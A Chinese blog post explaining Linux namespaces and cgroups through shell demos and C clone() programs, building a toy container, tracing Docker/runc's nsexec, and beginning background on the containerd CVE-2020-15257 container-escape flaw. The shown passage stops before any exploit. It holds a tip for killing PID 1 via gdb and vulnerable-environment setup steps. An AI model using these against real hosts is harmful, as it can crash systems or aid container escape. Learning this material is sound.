Linux命名空间机制及其隔离不当导致的漏洞
2022-12-25
| 2023-5-2
0  |  0 分钟
type
Post
status
Published
date
Dec 25, 2022
slug
2022/linux-namespace
summary
Linux容器主要是依靠于内核的命名空间和Cgroups隔离
tags
云安全
Linux命名空间
category
技术分享
icon
password
最近(其实年中的时候写好了,一直忘了发出来..)在学习云和容器相关的知识,经过复现几个漏洞和DEBUG Docker 各个部件的源码发现在Linux底层是依靠Linux命名空间和Cgroups对资源进行隔离,这里打算深入学习一下Linux底层知识。

历史

Linux命名空间灵感源自Unix系统命名空间功能,从2002年2.4.19内核版本开始集成至Linux中,Linux内核3.8中引入用户命名空间提供了足够容器支持功能,并逐步发展至今,

命令空间类型

Linux 内核经过迭代版本变更共提供 8 种命名空间(表1)
类型
功能说明
内核
Mount (mnt)
挂载点和文件系统隔离
2.4.19[2]
UTS
主机名隔离
2.6.19[3]
Interprocess Communication (ipc)
进程间通信隔离
2.6.19[4]
Process ID (pid)
进程隔离
2.6.24[5]
Network (net)
网络隔离
2.6.29[6]
User ID (user)
用户隔离
3.8[7]
Control group (cgroup)
系统资源使用隔离
4.6[8]
Time Namespace
系统时间隔离
5.6[9]
  • 进程命名空间是嵌套的,即当一个进程被创建时,从其当前命名空间到其初始化命名空间,每个命名空间都有一个pid,而且有个规律:子进程的pid比父进程的小。
notion image
  • pid 还有一个比较有意思的知识,Linux 系统中 pid 为 1 是系统启动后创建的第1个进程,或者叫 init process,它有一个特征是 orphaned processes 孤立进程附加到这上面,也就是说,如果 pid 1 被 kill 后,他立刻会终结附加到其上的所有子进程,不过默认 pid 1 是被保护起来的,无法正常通过 kill -9 1 等 kill 操作杀死,以保证操作系统的稳定运行,不过可以通过 gdb[10] 来干掉:gdb -p 1 后执行 kill
  • pid 这里有一个大家可能已用过的案例,即WSL无法使用systemctl的解决方案,因为WSL初始PID不是1,所以用不了,通过把自己隔离让自己看到自己的PID为1
  • User ID (user) 提供的用户隔离正是容器化的开始,因为他可以摒弃传统的用户权限分级和控制手段。比如一个命名空间内,可以让其认为自己是 root (uid=0),但实际上 uid是1400000,用户命名空间也是嵌套的
  • Control group (cgroup) 比如限制某个容器能使用几个CPU,多少内存的特性就是因为这个命名空间
  • 其中 Network 和 User 在Linux 2.6.24 和 2.6.23 已有,到表中记录版本才完善
确认当前 bash进程的PID 和 各个namespace,中括号内为 namespace 编号
notion image
实现命名空间主要是3个系统调用
  • clone() 实现线程的系统调用,用来创建一个新的进程,并可以通过设置命名空间类型参数达到隔离。
  • unshare() 使某进程脱离某个namespace
  • setns() 把某进程加入到某个namespace

mnt隔离[11]

没有隔离的mount

为了简单起见使用tmpfs这种基于内存的文件系统来模拟
echo $$ mkdir /tmp/noisolation mount -t tmpfs tmpfs /tmp/noisolation/ cd /tmp/noisolation/ touch aaa bbb ccc ddd ll
notion image
新起一个 bash,文件存在
root@cloud_shoot:~# echo $$ 20434 root@cloud_shoot:~# ll /tmp/noisolation/ total 4 drwxrwxrwt 2 root root 120 May 26 09:36 ./ drwxrwxrwt 10 root root 4096 May 26 09:38 ../ -rw-r--r-- 1 root root 0 May 26 09:36 aaa -rw-r--r-- 1 root root 0 May 26 09:36 bbb -rw-r--r-- 1 root root 0 May 26 09:36 ccc -rw-r--r-- 1 root root 0 May 26 09:36 ddd

有隔离的 mount

先创建个测试目录
mkdir /tmp/isolation
Linux内核也提供系统函数实现[12],这里直接使用Linux unshare命令实现隔离
使用 unshare 隔离 mnt namespace
echo $$ unshare --mount /bin/bash echo $$
notion image
可以清楚看到两个进程为父子进程关系.20516
ps -ef | grep 20516 | grep -v grep pstree -p | grep 20526
notion image
20526 即隔离 namespace 中挂载 tmpfs 目录和文件
echo $$ mount -t tmpfs tmpfs /tmp/isolation cd /tmp/isolation/ touch aaa bbb ccc ddd ll
notion image
查看该 namespace 的编号,发现只有 mnt 改变了
notion image
在新起的终端确认 /tmp/isolation 文件内容,文件不存在
ll /tmp/isolation/
notion image
那其他命名空间呢?

C实现命名空间隔离实验[13] [14]

clone()系统调用

clone.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> /* 定义一个给 clone 用的栈,栈大小1M */ #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int container_main(void* arg) { printf("Container - inside the container!\n"); /* 直接执行一个shell,以便我们观察这个进程空间里的资源是否被隔离了 */ execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent - start a container!\n"); /* 调用clone函数,其中传出一个函数,还有一个栈空间的(为什么传尾指针,因为栈是反着的) */ int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD, NULL); /* 等待子进程结束 */ waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
直接启用通过execv启用一个子进程,到新的 /bin/bash 环境,这里没做任何隔离,父进程能做的子进程基本都可以做

UTS Namespace

可通过 clone() 函数设置 CLONE_NEWUTS 标志位实现,需要 root 权限 uts_ns.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> /* 定义一个给 clone 用的栈,栈大小1M */ #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int container_main(void* arg) { printf("Container - inside the container!\n"); sethostname("container",10); /* 设置hostname */ execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent - start a container!\n"); /* 调用clone函数,其中传出一个函数,还有一个栈空间的(为什么传尾指针,因为栈是反着的) */ int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD | CLONE_NEWUTS, NULL); /* 等待子进程结束 */ waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
子进程运行 hostname 查看主机名变成 container, 宿主机不变,这里注意如果是用 hostnamectl sethostname <xxx> 命令会改变宿主机的 hostname,因为这个命令是通过写文件实现的,这里并未做文件隔离

IPC Namespace

可通过 clone() 函数设置 CLONE_NEWIPC 标志位实现,需要 root 权限
ipc.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> /* 定义一个给 clone 用的栈,栈大小1M */ #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int container_main(void* arg) { printf("Container - inside the container!\n"); sethostname("container",10); /* 设置hostname */ execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent - start a container!\n"); /* 调用clone函数,其中传出一个函数,还有一个栈空间的(为什么传尾指针,因为栈是反着的) */ int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD | CLONE_NEWUTS | CLONE_NEWIPC, NULL); /* 等待子进程结束 */ waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
ipcmk -Q 创建一个进程通信消息队列,通过 ipcs -q 查看新建的队列。 运行进程间通信隔离程序,子进程内运行 ipcs -q 看不到新建的队列

PID Namespace

可通过 clone() 函数设置 CLONE_NEWPID 标志位实现,需要 root 权限
pid_ns.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> /* 定义一个给 clone 用的栈,栈大小1M */ #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int container_main(void* arg) { printf("Container [%5d] - inside the container!\n", getpid()); printf("Container - inside the container!\n"); sethostname("container",10); /* 设置hostname */ execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent - start a container!\n"); /* 调用clone函数,其中传出一个函数,还有一个栈空间的(为什么传尾指针,因为栈是反着的) */ int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD | CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID, NULL); /* 等待子进程结束 */ waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
运行进程隔离程序会发现我们程序的pid为1,pid为1是特殊的进程,在表1介绍中有列举一些特殊性 这里直接 ps 会发现只有当前子进程的进程号,但通过 ps -ef 或者 top 命令会查看到所有进程号,这里是因为 ps -ef 会读取 /proc 文件系统,这里还未对此文件系统进行隔离

MNT Namespace

可通过 clone() 函数设置 CLONE_NEWNS 标志位实现,需要 root 权限
mnt_ns.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> /* 定义一个给 clone 用的栈,栈大小1M */ #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int container_main(void* arg) { printf("Container [%5d] - inside the container!\n", getpid()); printf("Container - inside the container!\n"); sethostname("container",10); /* 设置hostname */ system("mount -t proc proc /proc"); execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent - start a container!\n"); /* 调用clone函数,其中传出一个函数,还有一个栈空间的(为什么传尾指针,因为栈是反着的) */ int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD | CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS, NULL); /* 等待子进程结束 */ waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
这里对 /proc 文件系统进行了隔离,此时在 ps -ef 或者 top 看到的也只有当前进程的进程号了,注意此程序会覆盖父进程的 /proc 系统,子进程退出后要通过 umount 或者 mount -t proc proc /proc 当然除了 /proc 还有 /dev、/sys、/tmp、/run 等

一个玩具容器

先创建一个 rootfs
mkdir -p rootfs/{bin,dev,etc,home,lib/x86_64-linux-gnu,lib64,mnt,opt,proc,root,run,sbin,sys,tmp,usr/bin,var}
其中 lib/x86_64-linux-gnu 根据 ldd /bin 目录下各个命令结果的动态链接库来,我这里分别是
cp /usr/bin/sh /usr/bin/ls /usr/bin/mount /usr/bin/cat /usr/bin/ps rootfs/usr/bin/ cp /etc/hosts /etc/hostname /etc/resolv.conf rootfs/etc cp /lib/x86_64-linux-gnu/libc.so.6 rootfs/lib/x86_64-linux-gnu/ cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64 cp /lib/x86_64-linux-gnu/libselinux.so.1 rootfs/lib/x86_64-linux-gnu/libselinux.so.1 cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 rootfs/lib/x86_64-linux-gnu/libpcre2-8.so.0 cp /lib/x86_64-linux-gnu/libdl.so.2 rootfs/lib/x86_64-linux-gnu/libdl.so.2 cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/ld-linux-x86-64.so.2 cp /lib/x86_64-linux-gnu/libpthread.so.0 rootfs/lib/x86_64-linux-gnu/libpthread.so.0 cp /lib/x86_64-linux-gnu/libmount.so.1 rootfs/lib/x86_64-linux-gnu/libmount.so.1 cp /lib/x86_64-linux-gnu/libblkid.so.1 rootfs/lib/x86_64-linux-gnu/libblkid.so.1 cp /lib/x86_64-linux-gnu/libselinux.so.1 rootfs/lib/x86_64-linux-gnu/libselinux.so.1 cp /lib/x86_64-linux-gnu/libprocps.so.8 rootfs/lib/x86_64-linux-gnu/libprocps.so.8 cp /lib/x86_64-linux-gnu/libsystemd.so.0 rootfs/lib/x86_64-linux-gnu/libsystemd.so.0 cp /lib/x86_64-linux-gnu/librt.so.1 rootfs/lib/x86_64-linux-gnu/librt.so.1 cp /lib/x86_64-linux-gnu/liblzma.so.5 rootfs/lib/x86_64-linux-gnu/liblzma.so.5 cp /lib/x86_64-linux-gnu/libzstd.so.1 rootfs/lib/x86_64-linux-gnu/libzstd.so.1 cp /lib/x86_64-linux-gnu/liblz4.so.1 rootfs/lib/x86_64-linux-gnu/liblz4.so.1 cp /lib/x86_64-linux-gnu/libgcrypt.so.20 rootfs/lib/x86_64-linux-gnu/libgcrypt.so.20 cp /lib/x86_64-linux-gnu/libgpg-error.so.0 rootfs/lib/x86_64-linux-gnu/libgpg-error.so.0
chroot rootfs 改变根目录, 进入至新的文件系统里了,但是现在一些命名空间还没做隔离,加上上面的clone函数标志位
container.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/wait.h> #include <sys/mount.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/usr/bin/sh", "-l", NULL }; int container_main(void* arg) { printf("Container [%5d] - inside the container!\n", getpid()); //set hostname sethostname("container",10); //remount "/proc" to make sure the "top" and "ps" show container's information if (mount("proc", "rootfs/proc", "proc", 0, NULL) !=0 ) { perror("proc"); } if (mount("sysfs", "rootfs/sys", "sysfs", 0, NULL)!=0) { perror("sys"); } if (mount("none", "rootfs/tmp", "tmpfs", 0, NULL)!=0) { perror("tmp"); } if (mount("udev", "rootfs/dev", "devtmpfs", 0, NULL)!=0) { perror("dev"); } if (mount("devpts", "rootfs/dev/pts", "devpts", 0, NULL)!=0) { perror("dev/pts"); } if (mount("shm", "rootfs/dev/shm", "tmpfs", 0, NULL)!=0) { perror("dev/shm"); } if (mount("tmpfs", "rootfs/run", "tmpfs", 0, NULL)!=0) { perror("run"); } /* * 模仿Docker的从外向容器里mount相关的配置文件 * 你可以查看:/var/lib/docker/containers/<container_id>/目录, * 你会看到docker的这些文件的。 */ if (mount("conf/hosts", "rootfs/etc/hosts", "none", MS_BIND, NULL)!=0 || mount("conf/hostname", "rootfs/etc/hostname", "none", MS_BIND, NULL)!=0 || mount("conf/resolv.conf", "rootfs/etc/resolv.conf", "none", MS_BIND, NULL)!=0 ) { perror("conf"); } /* chroot 隔离目录 */ if ( chdir("./rootfs") != 0 || chroot("./") != 0 ){ perror("chdir/chroot"); } execv(container_args[0], container_args); perror("exec"); printf("Something's wrong!\n"); return 1; } int main() { printf("Parent [%5d] - start a container!\n", getpid()); int container_pid = clone(container_main, container_stack+STACK_SIZE, CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL); waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
做了主机、进程、进程间通信、文件系统(包含 /dev /proc/sys /run /tmp 目录)隔离的代码
运行后悔挂在设备文件至 rootfs/dev 等目录,想要删除 rootfs 需要 umount -R rootfs/dev rootfs/proc rootfs/sys rootfs/run rootfs/tmp rootfs/etc/* 一下

User Namespace

可通过 clone() 函数设置 CLONE_NEWUSER 标志位实现,但不需要 root 权限,通过普通用户运行,安全系数更高,就算被逃逸了也是一个普通用户权限
sys/capability.h头文件需要安装依赖
apt install libcap-dev
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mount.h> #include <sys/capability.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> #define STACK_SIZE (1024 * 1024) static char container_stack[STACK_SIZE]; char* const container_args[] = { "/bin/bash", NULL }; int pipefd[2]; void set_map(char* file, int inside_id, int outside_id, int len) { FILE* mapfd = fopen(file, "w"); if (NULL == mapfd) { perror("open file error"); return; } fprintf(mapfd, "%d %d %d", inside_id, outside_id, len); fclose(mapfd); } void set_uid_map(pid_t pid, int inside_id, int outside_id, int len) { char file[256]; sprintf(file, "/proc/%d/uid_map", pid); set_map(file, inside_id, outside_id, len); } void set_gid_map(pid_t pid, int inside_id, int outside_id, int len) { char file[256]; sprintf(file, "/proc/%d/gid_map", pid); set_map(file, inside_id, outside_id, len); } int container_main(void* arg) { printf("Container [%5d] - inside the container!\n", getpid()); printf("Container: eUID = %ld; eGID = %ld, UID=%ld, GID=%ld\n", (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid()); /* 等待父进程通知后再往下执行(进程间的同步) */ char ch; close(pipefd[1]); read(pipefd[0], &ch, 1); printf("Container [%5d] - setup hostname!\n", getpid()); //set hostname sethostname("container",10); //remount "/proc" to make sure the "top" and "ps" show container's information mount("proc", "/proc", "proc", 0, NULL); execv(container_args[0], container_args); printf("Something's wrong!\n"); return 1; } int main() { const int gid=getgid(), uid=getuid(); printf("Parent: eUID = %ld; eGID = %ld, UID=%ld, GID=%ld\n", (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid()); pipe(pipefd); printf("Parent [%5d] - start a container!\n", getpid()); int container_pid = clone(container_main, container_stack+STACK_SIZE, CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, NULL); printf("Parent [%5d] - Container [%5d]!\n", getpid(), container_pid); //To map the uid/gid, // we need edit the /proc/PID/uid_map (or /proc/PID/gid_map) in parent //The file format is // ID-inside-ns ID-outside-ns length //if no mapping, // the uid will be taken from /proc/sys/kernel/overflowuid // the gid will be taken from /proc/sys/kernel/overflowgid set_uid_map(container_pid, 0, uid, 1); set_gid_map(container_pid, 0, gid, 1); printf("Parent [%5d] - user/group mapping done!\n", getpid()); /* 通知子进程 */ close(pipefd[1]); waitpid(container_pid, NULL, 0); printf("Parent - container stopped!\n"); return 0; }
 
写入/proc//uid_map(gid_map)文件的进程需要这个namespace中的CAP_SETUID (CAP_SETGID)权限,写入的进程必须是此user namespace的父或子的user namespace进程 我这编译了 gid 映射文件没成功写入,原因可参考 https://man7.org/linux/man-pages/man7/user_namespaces.7.html
/* Linux 3.19 made a change in the handling of setgroups(2) and the ‘gid_map’ file to address a security issue. The issue allowed unprivileged users to employ user namespaces in order to drop The upshot of the 3.19 changes is that in order to update the ‘gid_maps’ file, use of the setgroups() system call in this user namespace must first be disabled by writing “deny” to one of the /proc/PID/setgroups files for this namespace. That is the purpose of the following function. */
 
其实上述代码还涉及进程间同步问题,即有管道代码位置有点问题,有时会出现还未修改 /proc//uid_map(gid_map) 就已经获取了容器内的 uid 和 gid ,这里通过另外一种方式实现,解决进程同步问题,顺便设置了 setgroups
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mount.h> #include <stdio.h> #include <sched.h> #include <signal.h> #include <unistd.h> char* const container_args[] = { "/usr/bin/sh", NULL }; char* const container_envp[] = { "PATH=/usr/bin", "TERM=console", "HOME=/root", NULL }; void set_groups(char* file, char* value) { FILE* groupfd = fopen(file, "w"); if (NULL == groupfd) { perror("open file error"); return; } fprintf(groupfd, "%s", value); fclose(groupfd); } void set_map(char* file, int inside_id, int outside_id, int len) { FILE* mapfd = fopen(file, "w"); if (NULL == mapfd) { perror("open file error"); return; } fprintf(mapfd, "%d %d %d", inside_id, outside_id, len); fclose(mapfd); } int container_main(void* arg) { printf("Container [%5d] - inside the container!\n", getpid()); printf("Container: eUID = %ld; eGID = %ld, UID=%ld, GID=%ld\n", (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid()); printf("Container [%5d] - setup hostname!\n", getpid()); //set hostname sethostname("container",10); //set root directory chroot("rootfs"); //change to `/` chdir("/"); //remount "/proc" to make sure the "top" and "ps" show container's information mount("proc", "/proc", "proc", 0, NULL); execvpe(container_args[0], container_args, container_envp); printf("Something's wrong!\n"); return 1; } int main() { const int gid=getegid(), uid=geteuid(); printf("Parent: eUID = %ld; eGID = %ld, UID=%ld, GID=%ld\n", (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid()); printf("Parent [%5d] - start a container!\n", getpid()); unshare(CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); pid_t container_pid = fork(); if (!container_pid) { /* since Linux 3.19 unprivileged writing of /proc/self/gid_map * has s been disabled unless /proc/self/setgroups is written * first to permanently disable the ability to call setgroups * in that user namespace. */ set_groups("/proc/self/setgroups", "deny"); //To map the uid/gid, // we need edit the /proc/PID/uid_map (or /proc/PID/gid_map) in parent //The file format is // ID-inside-ns ID-outside-ns length //if no mapping, // the uid will be taken from /proc/sys/kernel/overflowuid // the gid will be taken from /proc/sys/kernel/overflowgid set_map("/proc/self/uid_map", 0, uid, 1); set_map("/proc/self/gid_map", 0, gid, 1); return container_main(NULL); } printf("Parent [%5d] - Container [%5d]!\n", getpid(), container_pid); waitpid(container_pid, NULL, 0); printf("Parent [%5d] - container stopped!\n", getpid()); return 0; }
看了下这部分代码,发现和 Docker 的 nsexec.c 有几分相像
或者还有些疑问,因为这个是非 root 权限就可以设置的标志位,对于需要 root 权限的标志位,一般用户先创建User Namespace,然后把这个用户映射成root,在容器内用root来创建其它的Namesapce

Network Namespace

与上面几种Namespace一样,通过设置标志位 CLONE_NEWNET 即可实现网络隔离,比如 nc 监听 80 端口,并不会占用宿主机的端口
到这里,需要隔离的已经隔离的差不多了,为了更加直观的演示,下面通过命令模仿Docker中的网络命名空间
Docker 在宿主机上的网络示意图
notion image
在虚拟机上查看网络情况 ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000 link/ether 00:50:56:3f:89:83 brd ff:ff:ff:ff:ff:ff 7: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default link/ether 02:42:a3:2f:a2:a2 brd ff:ff:ff:ff:ff:ff 17: veth706734a@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP mode DEFAULT group default link/ether f6:59:f6:3a:5b:68 brd ff:ff:ff:ff:ff:ff link-netnsid 1
ip命令自带网络空间隔离功能,我们可以通过如下命令来做一个Docker桥接网络
## 先增加一个网桥lxcbr0,模仿docker0 brctl addbr lxcbr0 brctl stp lxcbr0 off # 为网桥设置IP地址 ip addr add 192.168.10.1/24 dev lxcbr0 ip link set dev lxcbr0 up ## 创建一个 network namespace - ns1 # 增加一个 namesapce 命令为 ns1 ip netns add ns1 # 激活namespace中的loopback,即127.0.0.1(使用ip netns exec ns1来操作ns1中的命令) ip netns exec ns1 ip link set dev lo up ## 然后,我们需要增加一对虚拟网卡 # 增加一个对虚拟网卡,注意其中的veth类型,其中一个网卡要放到容器(命名空间)中 ip link add veth-ns1 type veth peer name lxcbr0.1 # 把 veth-ns1 放入 namespace ns1中,这样容器中就会有一个新的网卡了,并且宿主机的 veth-ns1 网卡会消失 ip link set veth-ns1 netns ns1 # 把容器里的 veth-ns1改名为 eth0 (容器外会冲突,容器内就不会了) ip netns exec ns1 ip link set dev veth-ns1 name eth0 # 为容器中的网卡分配一个IP地址,并激活它 ip netns exec ns1 ip addr add 192.168.10.11/24 dev eth0 ip netns exec ns1 ip link set dev eth0 up # 上面我们把veth-ns1这个网卡放入容器中,这里我们把lxcbr0.1添加上网桥上 brctl addif lxcbr0 lxcbr0.1 # 这步激活不能忘了, 否则会因 lxcbr0 网桥这边的 veth 为启用导致命名空间内检测不到另外一端 # 谢谢向磊哥帮忙看了下,一开始没加这句,导致网络一直不通,自己排查了挺久没发现 ip link set dev lxcbr0.1 up
可以通过 brctl show 命令查看网桥接入的网卡情况,并且可以通过执行 ip netns exec ns1 ping 192.168.10.1 测试命名空间内的网络是否与lxcbr0网桥正常通信
要想容器内访问外部网络,需要添加路由,需要域名解析需要添加dns解析
# 为容器增加一个路由规则,让容器可以访问外面的网络 ip netns exec ns1 ip route add default via 192.168.10.1 # 在/etc/netns下创建network namespce名称为ns1的目录, # 然后为这个namespace设置resolv.conf,这样,容器内就可以访问域名了 mkdir -p /etc/netns/ns1 echo "nameserver 8.8.8.8" > /etc/netns/ns1/resolv.conf
如果在虚拟机内还需要设置网卡为混杂模式

CGroups Namespace[15]

推荐阅读 Cgroup概述[16]
cgroup是Linux下的一种将进程按组进行管理的机制,在用户层看来,cgroup技术就是把系统中的所有进程组织成一颗一颗独立的树,每棵树都包含系统的所有进程,树的每个节点是一个进程组,而每颗树又和一个或者多个subsystem关联,树的作用是将进程分组,而subsystem的作用就是对这些组进行操作
cgroups (control groups) 主要包括 subsystem 和 hierarchy 两部分
1个subsystem就是一个内核模块,目前Linux支持下面12种subsystem
  • cpu (since Linux 2.6.24; CONFIG_CGROUP_SCHED) 用来限制cgroup的CPU使用率。
  • cpuacct (since Linux 2.6.24; CONFIG_CGROUP_CPUACCT) 统计cgroup的CPU的使用率。
  • cpuset (since Linux 2.6.24; CONFIG_CPUSETS) 绑定cgroup到指定CPUs和NUMA节点。
  • memory (since Linux 2.6.25; CONFIG_MEMCG) 统计和限制cgroup的内存的使用率,包括process memory, kernel memory, 和swap。
  • devices (since Linux 2.6.26; CONFIG_CGROUP_DEVICE) 限制cgroup创建(mknod)和访问设备的权限。
  • freezer (since Linux 2.6.28; CONFIG_CGROUP_FREEZER) suspend和restore一个cgroup中的所有进程。
  • net_cls (since Linux 2.6.29; CONFIG_CGROUP_NET_CLASSID) 将一个cgroup中进程创建的所有网络包加上一个classid标记,用于tc和iptables。 只对发出去的网络包生效,对收到的网络包不起作用。
  • blkio (since Linux 2.6.33; CONFIG_BLK_CGROUP) 限制cgroup访问块设备的IO速度。
  • perf_event (since Linux 2.6.39; CONFIG_CGROUP_PERF) 对cgroup进行性能监控
  • net_prio (since Linux 3.3; CONFIG_CGROUP_NET_PRIO) 针对每个网络接口设置cgroup的访问优先级。
  • hugetlb (since Linux 3.5; CONFIG_CGROUP_HUGETLB) 限制cgroup的huge pages的使用量。
  • pids (since Linux 4.3; CONFIG_CGROUP_PIDS) 限制一个cgroup及其子孙cgroup中的总进程数。
1个hierarchy可以理解为1颗cgroup树
cat /proc/cgroupsmount | grep cgroup
查看当前系统支持的subsystem和当前系统已经挂载的subsystem
这里先关注 cpu 的,进入 cpu subsystem目录,创建一个组名为 tari 的cgroup,并查看当前目录
cd /sys/fs/cgroup/cpu && mkdir tari && ll tari
发现在subsystem创建目录会生成一些默认文件,通过控制文件里的数值,从而对资源进行限制。
如果往 cpu.cfs_quota_us文件写入100000(十万),就限制 tari 的cgroup最多能够使用1核的CPU(因为cpu.cfs_period_us配置文件默认把1核cpu分成了10万份)。写入20000,证明最多使用使用1/5核的CPU。
echo 20000 > /sys/fs/cgroup/cpu/tari/cpu.cfs_quota_us
首先,新起一个进程,运行
notion image
CPU 占用率为 100%,这时把 PID 16336 加入 tari cgroup
echo 16336 > /sys/fs/cgroup/cpu/tari/tasks
notion image
可以看到CPU占用率为20%左右,其实从写入的配置文件名 cpu.cfs_quota_us 也易知是 CPU 配额,容器里的配额其实也是这么一回事,对于其他资源的限制,也是类似的思路
 
Docker 也是通过这种方式实现对容器进行资源隔离[17]
 
默认Docker启动一个容器后会在 /sys/fs/cgroup 目录下的各个subsystem目录生成以容器ID为名字的目录,如
/sys/fs/cgroup/cpu/docker/4a9df9dcac71e4475838e207e932a793faa034c1eb7bb7b75786ca5a1308c436
 

Docker中命名空间隔离的实现

Docker 底层即 runc:
 
src/github.com/opencontainers/runc/init.go
import ("... _ "github.com/opencontainers/runc/libcontainer/nsenter" ...")
—>
src/github.com/opencontainers/runc/libcontainer/nsenter/nsenter.go __attribute__((constructor)) init(void)nsexec(); 这段 cgo 利用 gcc constructor 特性让这段C代码先于Go的runtime启动之前执行
 
nsenter_gccgo.go 中的 if AlwaysFalse 条件一开始我以为是会某种条件满足,实际并不用管,这只是如注释所说为了编译器可以成功编译它,正在是通过 __attribute__ 特殊构造函数调的
—>
nsexec.c nsexec(); 实现命名空间和资源隔离的核心代码,与我们在 User Namespace 改进后的代码有几分相似
 
因为Docker需要支持rootless等场景下的命名空间隔离,此外由表1知一些老的内核版本不一定支持或实现了较新的(如 USER)命名空间。Docker为了更高的可拓展性,不能直接像在 【C实现命名空间隔离实验】 小节一样把相应的标志位置于 clone 函数内,所以 Docker 结合 clone、unshare和setns实现。
 
因个人对 runc 和 docker 之间的交互逻辑目前处于一种看懂状态,感觉别人讲的更好,推荐阅读 runc源码分析 [18]
 
想进一步了解Docker,推荐阅读 理解Docker系列文章[19]
 

命名空间隔离不当漏洞 CVE-2020-15257

该漏洞是 containerd 层导致的,可参照 Docker (远程) Debug 调试环境搭建 - TARI TARI - 0x02 Docker架构组成 部分

漏洞环境

环境部署
./metarget cnv install cve-2020-15257
漏洞影响版本
  • containerd 1.3.x, 1.2.x, 1.4.x版本
复现组件版本
root@ubuntu /o/metarget# docker -v Docker version 18.03.1-ce, build 9ee9f40 root@ubuntu /o/metarget# containerd -v containerd github.com/containerd/containerd 1.5.5-0ubuntu3~18.04.2 root@ubuntu /o/metarget# runc -v runc version 1.0.1-0ubuntu2~18.04.1 spec: 1.0.2-dev go: go1.13.8 libseccomp: 2.5.1
利用条件
网络模式为host的情况下,即容器启动时指定 --net=host 参数
漏洞描述
Access controls for the shim’s API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges.

前置知识

Unix套接字

在Linux系统中,可通过Unix域套接字在同一个主机上的进程之间进行通信,它的API调用方法和普通的TCP/IP的套接字一样,也是调用socket函数创建一个套接字,域设置成AF_UNIX
socket(AF_UNIX, SOCK_STREAM 或 SOCK_DGRAM, 0);
在调用socket()函数获得新创建的Unix域套接字的文件描述符之后,再调用bind()函数将它绑定到一个本地地址上,此时需要创建并初始化一个sockaddr_un结构体,如下所示:
struct sockaddr_un { sa_family_t sun_family; char sun_path[108]; }
第一个字段 sa_family_t 需要设置成 AF_UNIX,第二个字段 sun_path 表示的是一个路径名,它分为两种:
  • 普通的文件路径:
